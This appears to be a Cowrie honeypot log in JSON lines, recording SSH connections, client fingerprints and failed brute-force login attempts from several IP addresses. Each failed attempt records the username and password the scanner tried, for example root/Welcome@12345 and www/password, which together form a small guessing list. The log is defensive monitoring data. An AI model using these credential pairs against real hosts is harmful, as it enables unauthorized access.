{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:58.702414Z","src_ip":"45.153.34.195","session":"a360b8adc18d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:58.742848Z","src_ip":"160.187.180.146","session":"4e80cd7ce2df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"dev","message":"login attempt [deployer/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:59.207126Z","src_ip":"45.153.34.195","session":"a360b8adc18d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rdd","message":"login attempt [root/P@ssw0rdd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:59.636326Z","src_ip":"160.187.180.146","session":"4e80cd7ce2df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:00.297169Z","src_ip":"45.153.34.195","session":"a360b8adc18d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:00.854209Z","src_ip":"160.187.180.146","session":"4e80cd7ce2df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32928,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4cbcc442f81","protocol":"ssh","message":"New connection: 91.92.40.36:32928 (10.17.0.5:22) [session: b4cbcc442f81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:01.542550Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":28584,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d7db1cdcf92","protocol":"ssh","message":"New connection: 45.153.34.195:28584 (10.17.0.5:22) [session: 5d7db1cdcf92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:01.549670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:01.560593Z","src_ip":"45.153.34.195","session":"5d7db1cdcf92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:01.657531Z","src_ip":"45.153.34.195","session":"5d7db1cdcf92","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:01.891666Z","src_ip":"91.92.40.36","session":"b4cbcc442f81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123","message":"login attempt [rdpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:01.926396Z","src_ip":"45.153.34.195","session":"5d7db1cdcf92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:02.258506Z","src_ip":"91.92.40.36","session":"b4cbcc442f81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:03.013460Z","src_ip":"45.153.34.195","session":"5d7db1cdcf92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.87.152","src_port":33740,"dst_ip":"159.203.135.109","dst_port":22,"session":"a13d76d0cfa0","protocol":"ssh","message":"New connection: 97.74.87.152:33740 (159.203.135.109:22) [session: a13d76d0cfa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:04.076630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:04.081014Z","src_ip":"97.74.87.152","session":"a13d76d0cfa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:04.305382Z","src_ip":"97.74.87.152","session":"a13d76d0cfa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.951828718185425,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:04.323072Z","src_ip":"172.81.62.90","session":"e36b1f8a4682","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":63592,"dst_ip":"10.17.0.5","dst_port":22,"session":"879844e469f0","protocol":"ssh","message":"New connection: 45.153.34.195:63592 (10.17.0.5:22) [session: 879844e469f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:04.447048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:04.451436Z","src_ip":"45.153.34.195","session":"879844e469f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:04.541201Z","src_ip":"45.153.34.195","session":"879844e469f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sasha","password":"sasha","message":"login attempt [sasha/sasha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:04.808678Z","src_ip":"45.153.34.195","session":"879844e469f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"password","message":"login attempt [www/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:05.078139Z","src_ip":"91.92.40.36","session":"b4cbcc442f81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"walter","password":"walter","message":"login attempt [walter/walter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:05.239012Z","src_ip":"97.74.87.152","session":"a13d76d0cfa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:05.895591Z","src_ip":"45.153.34.195","session":"879844e469f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":33722,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4b89ea4e029","protocol":"ssh","message":"New connection: 27.71.230.31:33722 (10.17.0.5:22) [session: f4b89ea4e029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:05.967207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:06.023214Z","src_ip":"27.71.230.31","session":"f4b89ea4e029","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:06.466776Z","src_ip":"97.74.87.152","session":"a13d76d0cfa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:07.046558Z","src_ip":"91.92.40.36","session":"b4cbcc442f81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":63604,"dst_ip":"10.17.0.5","dst_port":22,"session":"62abc591163d","protocol":"ssh","message":"New connection: 45.153.34.195:63604 (10.17.0.5:22) [session: 62abc591163d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:07.250783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:07.255345Z","src_ip":"45.153.34.195","session":"62abc591163d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:07.338215Z","src_ip":"45.153.34.195","session":"62abc591163d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:07.492696Z","src_ip":"27.71.230.31","session":"f4b89ea4e029","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maud","password":"maud","message":"login attempt [maud/maud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:07.611492Z","src_ip":"45.153.34.195","session":"62abc591163d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:08.698536Z","src_ip":"45.153.34.195","session":"62abc591163d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":63610,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ebdfe679787","protocol":"ssh","message":"New connection: 45.153.34.195:63610 (10.17.0.5:22) [session: 5ebdfe679787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:10.133419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:10.138207Z","src_ip":"45.153.34.195","session":"5ebdfe679787","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:10.222737Z","src_ip":"45.153.34.195","session":"5ebdfe679787","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"password","message":"login attempt [testuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:10.494357Z","src_ip":"45.153.34.195","session":"5ebdfe679787","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@12345","message":"login attempt [root/Welcome@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:10.529583Z","src_ip":"27.71.230.31","session":"f4b89ea4e029","protocol":"ssh"}
